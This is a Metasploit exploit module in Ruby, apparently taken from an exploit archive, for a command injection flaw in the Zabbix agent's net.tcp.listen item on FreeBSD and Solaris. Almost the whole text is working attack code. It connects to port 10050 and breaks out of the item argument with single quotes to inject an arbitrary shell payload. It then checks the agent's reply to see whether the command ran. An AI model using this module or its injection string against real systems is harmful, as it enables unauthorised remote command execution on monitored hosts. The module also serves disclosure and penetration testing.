Zabbix Agent net.tcp.listen Command Injection

`##  
# $Id: zabbix_agent_exec.rb 7854 2009-12-14 20:09:46Z hdm $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Zabbix Agent net.tcp.listen Command Injection',  
'Description' => %q{  
This module exploits a metacharacter injection vulnerability  
in the FreeBSD and Solaris versions of the Zabbix agent. This flaw  
can only be exploited if the attacker can hijack the IP address  
of an authorized server (as defined in the configuration file).  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 7854 $',  
'References' =>  
[  
[ 'OSVDB', '60956' ],  
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1032'],  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,   
'Privileged' => false,  
'Payload' =>  
{  
'BadChars' => "'",  
'Space' => 1024,  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl telnet',  
}  
},  
'Targets' =>   
[  
[ 'Automatic Target', { }]  
],  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(10050)  
], self.class)   
end  
  
def exploit  
connect  
  
rnd_port = rand(1024) + 1  
buf = "net.tcp.listen[#{rnd_port}';#{payload.encoded};']\n"  
  
print_status("Sending net.tcp.listen() request to the zabbix agent...")  
sock.put(buf)  
  
res = nil  
begin  
res = sock.get_once(-1, 5)  
rescue ::EOFError  
end  
  
if ! res  
print_status("The zabbix agent did not reply, our IP must not be in the allowed server list.")  
disconnect  
return  
end  
  
if (res =~ /ZBX_NOTSUPPORTED/)  
print_status("The zabbix agent is not running a vulnerable version or operating system.")  
disconnect  
return  
end  
  
if(res !~ /ZBXD/)  
print_status("The zabbix agent returned an unknown response.")  
disconnect  
return  
end  
  
print_status("The zabbix agent should have executed our command.")  
disconnect  
end  
  
end  
`